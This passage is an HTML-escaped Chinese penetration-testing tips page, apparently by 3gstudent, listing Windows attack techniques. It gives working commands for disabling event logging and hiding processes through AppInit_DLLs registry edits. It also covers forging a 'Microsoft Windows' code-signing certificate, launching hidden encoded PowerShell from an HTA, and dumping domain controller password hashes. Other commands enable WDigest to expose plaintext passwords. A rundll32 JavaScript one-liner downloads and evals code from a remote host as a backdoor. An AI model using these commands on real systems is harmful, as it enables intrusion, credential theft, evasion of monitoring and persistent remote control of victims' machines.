&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E6%97%A5%E5%BF%97%E7%9A%84%E5%88%A0%E9%99%A4%E4%B8%8E%E7%BB%95%E8%BF%87/"&gt;《渗透技巧-Windows日志的删除与绕过》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_6" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 5. 破坏Windows日志记录功能&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过调用TerminateThread结束实现日志功能的线程，使得日志记录功能失效，但Windows Event Log服务没有被破坏，状态仍为正在运行&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Powershell:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/hlldz/Invoke-Phant0m&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;C++:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/Windwos-EventLog-Bypass&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E6%97%A5%E5%BF%97%E7%9A%84%E5%88%A0%E9%99%A4%E4%B8%8E%E7%BB%95%E8%BF%87/"&gt;《渗透技巧-Windows日志的删除与绕过》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8API-NtQueryInformationThread%E5%92%8CI_QueryTagInformation%E5%AE%9E%E7%8E%B0%E5%AF%B9Windwos%E6%97%A5%E5%BF%97%E7%9B%91%E6%8E%A7%E7%9A%84%E7%BB%95%E8%BF%87/"&gt;《利用API-NtQueryInformationThread和I_QueryTagInformation实现对Windwos日志监控的绕过》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;span class="md_repeated_n md_repeated_n_1"&gt;&lt;/span&gt;
&lt;hr&gt;
&lt;h3 id="toc_7" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 6. Win7和Windows Server 2008 R2下的进程隐藏&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;利用globalAPIhooks，通过修改注册表实现&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;下载工程：https://github.com/subTee/AppInitGlobalHooks-Mimikatz&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;修改代码指定要隐藏的程序名cldr.exe，编译成cldr.dll，cldr.dll放在&lt;code&gt;C:\ProgramData\Microsoft\HelpLibrary\&lt;/code&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;管理员权限：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\\ProgramData\\Microsoft\\HelpLibrary\\cldr.dll" /f&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;此时，任务管理器进程列表不存在cldr.exe，Process Explorer不存在cldr.exe，Tasklist.exe不存在cldr.exe&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;对于64位系统：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;管理员权限：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\\ProgramData\\Microsoft\\HelpLibrary\\cldrx64.dll" /f
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklm\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\\ProgramData\\Microsoft\\HelpLibrary\\cldr.dll" /f&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8globalAPIhooks%E5%9C%A8Win7%E7%B3%BB%E7%BB%9F%E4%B8%8B%E9%9A%90%E8%97%8F%E8%BF%9B%E7%A8%8B/"&gt;《利用globalAPIhooks在Win7系统下隐藏进程》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_8" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 7. 同名exe和com文件执行顺序&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如果一个路径下同时包含同名的exe和com文件，例如test.exe和test.com，通过命令行cmd输入test(不包含文件后缀名)，会优先运行com文件，即test.com&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;而COM文件的生成只需要把exe文件的后缀名改为com即可&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《A dirty way of tricking users to bypass UAC》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_9" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 8. Windows系统证书生成与注册&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;证书生成与签名：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;makecert -n "CN=Microsoft Windows" -r -sv Root.pvk Root.cer
cert2spc Root.cer Root.spc
pvk2pfx -pvk Root.pvk -pi 12345678password -spc Root.spc -pfx Root.pfx -f
signtool sign /f Root.pfx /p 12345678password test.exe&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;执行后生成Root.cer、Root.pfx、Root.pvk、Root.spc四个文件，test.exe被加上数字签名&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;证书注册：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;管理员权限cmd，将证书添加到localmachine：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;certmgr.exe -add -c Root.cer -s -r localmachine root&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《A dirty way of tricking users to bypass UAC》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_10" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 9.  hta执行vbs，加载powershell&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;test.hta：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;&amp;lt;HTML&amp;gt; 
&amp;lt;HEAD&amp;gt; 
&amp;lt;script language="VBScript"&amp;gt;
    Set WshShell = CreateObject("WScript.Shell")
    Connect="powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA=="
    WshShell.Run Connect, 4, true
&amp;lt;/script&amp;gt;
&amp;lt;HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize"&amp;gt;
&amp;lt;/HEAD&amp;gt; 
&amp;lt;BODY&amp;gt; 
&amp;lt;/BODY&amp;gt; 
&amp;lt;/HTML&amp;gt; &lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《Bypass McAfee Application Control——Code Execution》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_11" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 10. 通过c#编写dll &amp;amp; 通过rundll32.exe或者regsvr32加载dll&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;默认情况下，c#不可以声明导出函数，但可通过添加UnmanagedExports实现&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;当然，通过c#编写的dll，dll需要在对应版本的.NET环境才能正常运行，通过c++编写的dll更加通用&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过rundll32.exe或者regsvr32能够加载dll，但要求dll包含特定的导出函数&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《Code Execution of Regsvr32.exe》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_12" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 11. Windows下cpl文件介绍&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;本质上是DLL文件，后缀名为cpl，包含一个导出函数CPLApplet(c实现可不指定)&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;执行方法：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(1)双击直接运行&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(2)cmd&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;rundll32 shell32.dll,Control_RunDLL test.cpl&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(3)cmd&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;control test.cpl&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(4)vbs&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;Dim obj
Set obj = CreateObject("Shell.Application")
obj.ControlPanelItem("test.cpl")&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(5)js&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;var a = new ActiveXObject("Shell.Application");
a.ControlPanelItem("c:\\test\\test.cpl");&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《CPL文件利用介绍》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_13" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 12. Windows下通过cmd调用rundll32执行一段代码弹回Shell&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Server:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/Javascript-Backdoor/blob/master/JSRat.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Client:&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");w=new%20ActiveXObject("WScript.Shell");try{v=w.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet%20Settings\\ProxyServer");q=v.split("=")[1].split(";")[0];h.SetProxy(2,q);}catch(e){}h.Open("GET","http://192.168.174.131/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;当然，该RAT工具还可通过以下方法加载：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;vbs，js，exe，dll，shellcode&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《JavaScript Backdoor》&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《JavaScript Phishing》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_14" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 13. 可通过内存dump还原出putty&amp;amp;pageant的密钥&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;windows和Linux均适用&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《Memory Dump利用实例》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_15" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 14. 针对Visual Studio的钓鱼利用&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Visual C++：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;修改.vcxproj文件
&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Visual Basic：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;修改.vbproj文件
&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Visual F#：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;修改.fsproj文件
&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用Visual Studio对以上任一工程编译时，能够执行任意代码&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《Pay close attention to your download code——Visual Studio trick to run code when building》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_16" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 15. 32位程序在64位Windows系统下执行的时候，如果有对注册表和文件的操作，存在重定向&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;对注册表操作：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;访问HKLM\Software\的实际路径为HKLM\Software\Wow6432Node\&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;对文件操作：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;访问c:\windows\Sysnative\ 的实际路径为 c:\windows\system32\&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;访问c:\windows\system32\ 的实际路径为 c:\windows\SysWOW64\&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《关于32位程序在64位系统下运行中需要注意的重定向问题》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_17" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 16. 获取Windows域控所有用户hash&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_18" class="h16"&gt;&lt;span class="span_for_h"&gt;方法1：&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;复制ntds.dit：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用NinjaCopy，https://github.com/3gstudent/NinjaCopy&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;导出hash：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用quarkspwdump，https://github.com/quarkslab/quarkspwdump&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;esentutl /p /o ntds.dit
QuarksPwDump.exe -dhb -hist -nt c：\test\ntds.dit -o c：\test\log.txt&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;&lt;h4 id="toc_19" class="h16"&gt;&lt;span class="span_for_h"&gt;方法2：&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用powershell：DSInternals PowerShell Module&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://www.dsinternals.com/wp-content/uploads/DSInternals_v2.8.zip&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;适用条件：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Windows PowerShell 3.0 or 3.0+&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;.NET Framework 4.0 or 4.0+&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《导出当前域内所有用户hash的技术整理》&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《利用Powershell快速导出域控所有用户Hash》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_20" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 17. 导出Windows系统明文口令&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Windows Server 2012默认无法使用mimikatz导出明文口令，部分Windows Server 2008也一样&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;解决方法：启用Wdigest Auth&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;cmd:&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;or&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;powershell:&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;重启或者用户再次登录，能够导出明文口令&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《域渗透——Dump Clear-Text Password after KB2871997 installed》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_21" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 18. 可通过Hook PasswordChangeNotify实时记录域控管理员的新密码&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;当然，可选择保存在本地或是将密码上传至服务器&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《域渗透——Hook PasswordChangeNotify》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_22" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 19. 在域渗透时要记得留意域内主机的本地管理员账号&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如果管理员疏忽，域内主机使用相同的本地管理员账号，可以通过pass-the-hash远程登录域内其他主机&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《域渗透——Local Administrator Password Solution》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_23" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 20. 通过powershell获取dll的导出函数&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-Exports.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;Get-Exports -DllPath c:\Windows\system32\dimsjob.dll -ExportsToCpp C:\test\export.txt&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-Weekly-No.3(Use-odbcconf-to-load-dll-&amp;-Get-Exports-&amp;-ETW-USB-Keylogger)/"&gt;《Study Notes Weekly No.3(Use odbcconf to load dll &amp;amp; Get-Exports &amp;amp; ETW USB Keylogger)》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_24" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 21. 快捷方式的参数隐藏技巧&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;将payload放置在260个空字符之后，这样无法在文件属性查看payload，可以用来在快捷方式中隐藏payload，欺骗用户点击，隐蔽执行代码&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E5%BF%AB%E6%8D%B7%E6%96%B9%E5%BC%8F%E6%96%87%E4%BB%B6%E7%9A%84%E5%8F%82%E6%95%B0%E9%9A%90%E8%97%8F%E6%8A%80%E5%B7%A7/"&gt;《渗透技巧——快捷方式文件的参数隐藏技巧》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_25" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 22. 32位程序能够对64位进程进行远程注入&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;POC：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/CreateRemoteThread/blob/master/CreateRemoteThread32to64.cpp&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/32%E4%BD%8D%E7%A8%8B%E5%BA%8F%E5%AF%B964%E4%BD%8D%E8%BF%9B%E7%A8%8B%E7%9A%84%E8%BF%9C%E7%A8%8B%E6%B3%A8%E5%85%A5%E5%AE%9E%E7%8E%B0/"&gt;《32位程序对64位进程的远程注入实现》&lt;/a&gt;&lt;/span&gt;
